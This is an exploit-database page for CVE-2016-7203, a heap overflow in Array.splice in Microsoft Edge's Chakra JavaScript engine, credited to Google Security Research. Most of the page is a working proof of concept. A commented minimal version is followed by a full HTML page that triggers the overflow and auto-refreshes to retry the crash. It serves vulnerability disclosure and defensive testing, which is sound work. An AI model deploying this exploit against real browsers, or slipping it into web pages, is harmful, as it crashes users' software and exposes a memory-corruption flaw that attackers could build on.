Materialized exploit

CVE-2016-7203

HIGH

1 public exploit(s) for this CVE, 1 materialized with their code.

For defensive research only. Only test on systems you own or have written authorization for. Unauthorized access is illegal.

ExploitDB dos windows Verified

Source

Microsoft Edge - 'Array.splice' Heap Overflow

By Google Security Research

How to test this exploit

Denial of service: sends malformed input to crash the service. Test in an isolated VM, the effect is destructive.

Code html

<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=934

There is a heap overflow in Array.splice in Chakra.

When an array is spliced, and overflow check is performed, but ArraySpeciesCreate, which can execute code and alter the array is called after this. This can allow an Array with boundaries that cause integer overflows to be spliced, leading to heap overflows in several situations.

A minimal PoC is as follows and a full PoC is attached.

var a = [];

class dummy{}

a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};

Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;

j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;

This PoC is a bit unreliable, it may need to be refreshed a few times to crash.
-->

<html>
<head>
<meta http-equiv="refresh" content="1">
</head>

<body>
<script>


var a = [];

class dummy{}


a.length = 200000;
a.fill(7, 10000, 10200);

var o = {};
  Object.defineProperty(o, 'constructor', {
    get: function() {
      a.length = 0xfffffffe;
      var k = [];
      k.fill.call(a, 7.7, 0xfffff000, 0xfffffffe);
      return dummy;
    }
  });

a.__proto__ = o;

var q = [];
q.length = 500;
q.fill(7.7);

var j = [];

a.length = 0xfffffffe - 500;


j.splice.call(a, 0, ...q);
a[0xfffff1ec - 1] = 10;


</script>
</body>
</html>